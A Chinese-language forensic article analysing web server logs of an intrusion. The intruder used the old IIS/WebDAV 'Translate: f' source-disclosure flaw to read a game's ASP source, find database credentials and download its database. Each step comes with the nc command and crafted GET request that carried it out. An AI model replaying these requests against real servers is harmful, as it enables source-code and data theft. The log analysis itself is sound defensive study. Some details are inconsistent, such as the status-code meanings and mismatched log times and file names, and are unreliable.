注:出于众所周知的原因,本文中的所有IP地址及域名等信息都经过修改。
常见HTTP状态码含义:
"200" : 完成
"202" : 接受
"300" : 多重选择
"302" : 发现
"400" : 错误请求
"404" : 未发现
"502" : CGI错误
实例一:通过原代码暴露漏洞得取程序数据库
笑傲江湖是近几年在国内兴起的一种使用asp脚本语言制作的网络游戏,很多网站为了增加访问量,都放置了这个游戏来吸引访问者。可以ASP脚本存在漏洞居多,而很多网管都没有对自己的服务器及时打补丁,导致攻击者可以轻易得到程序的原代码,并且访问存放用户信息的程序数据库。
日志显示:
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET /xajh/index.asp\ - 200 –
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET /xajh/login.asp\ - 200 –
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET /xajh/conn.asp\ - 400 –
2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET /xajh/global.asa\ - 200 –
2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET /xajh/xajhdb/xajh.mdb - 200 –
背景知识:
在win2000及office 2000(包括FrontPage 2000及FrontPage 2000 server extensions)里的WebDAV存在着一个安全问题Translate:f。当某人往目标机器的ASP/ASA(或者其它脚本文件)发送包含有"Translate:f"文件头的HTTP GET请求时,windows2000(没有打过SP1补丁的——现在打补丁的还不是很多吧会返回该ASP/ASA的源代码而不是本该返回的经过处理的文件(还需要在url的结尾加上一个特殊字符"/" )。虽然这个漏洞出现于windows2000,但由于有些站点虽然仅使用IIS 4.0,但却安装了FrontPage Server Extensions 2000,所以这一影响可能会扩展到IIS 4.0的机器上。
分析:
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET /xajh/index.asp\ - 200 –
说明:攻击者发现了漏洞,并开始获取以知页面程序的原代码。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /index.asp\ HTTP/1.1 Translate: f
2001-06-23 03:00:19 10.1.1.1 - 10.1.1.1 80 GET /xajh/login.asp\ - 200 –
说明:入侵者开始尝试得到一些关键程序的原代码,例如这个登陆程序。一般的这种脚本程序都会直接在这种登陆程序里连接一些包含敏感信息的数据库或其它连接程序。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /login.asp\ HTTP/1.1 Translate: f
2001-06-23 03:00:58 10.1.1.1 - 10.1.1.1 80 GET /xajh/conn.asp\ - 400 –
说明:看来入侵者没有在刚才的登陆程序中得到他想要的程序,我们可以看看这个login程序的原代码:
Code: [Copy to clipboard]
<%
a=request.queryString("a")
if a="" or a="login" then
set logon=Server.CreateObject("xajh.xajh20")
mess=logon.login
set logon=nothing
end if
if a="register" then
set xajh=server.createobject("xajh.xajh20")
mess=xajh.register
set xajh=nothing
end if
if a="modifypassword" then
set xajh=server.createobject("xajh.xajh20")
mess=xajh.modifypassword
set xajh=nothing
end if
if a="exit" then
Session.Abandon
mess="index.asp"
end if
response.redirect mess
%>
程序编的很谨慎,没有连接任何敏感的文件或页面,我们的这位朋友看来有点头疼了。所以他开始瞎猜页面程序,可以看出这回他请求了conn.asp这个页面,值得提醒的是一般程序的数据库连接文件都是这个名字。可惜的是这个笑傲江湖程序不是,我们可以看到返回的状态码是400,也就是没有找到页面。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /conn.asp\ HTTP/1.1 Translate: f
2001-06-23 03:01:13 10.1.1.1 - 10.1.1.1 80 GET /xajh/logs.asp\ - 200 –
从日志上的时间来看,这回攻击和上回相差了很长时间,估计这位朋友自己也没办法,所以去请教朋友或者去自己下载了这套笑傲江湖程序的原代码,然后回来了以后一击命中,找到了这个程序的重要连接程序:global.asa,这个程序是用来指定事件脚本的,而在这个这个游戏程序中,编写者使用它来声明Application和Session,而且存放数据库的地址和密码等。我们来看看这个程序的部分代码,里面有很多东西,我们选了最重要的这段:
Code: [Copy to clipboard]
''Application("dbs")="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\xajhdb\xajh.mdb"
''Application("dbs")="driver={SQL Server};server=127.0.0.1;uid=xajh;pwd=xajh;database=xajh"
看来这个程序用了两个数据库,一个是MDB,在\xajhdb\xajh.mdb,另一个则是SQL数据库,是本地地址,用户名和密码都是xajh。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /global.asa\ HTTP/1.1 Translate: f
2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET /xajh/xajhdb/xajh.mdb - 200 –
说明:找到了数据库地址,当然是赶紧下载回来了。另外我们后来来发现这个入侵者通过登陆SQL数据库在我们的服务器执行了一些命令。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /xajh/xajhdb/xajh.mdb HTTP/1.1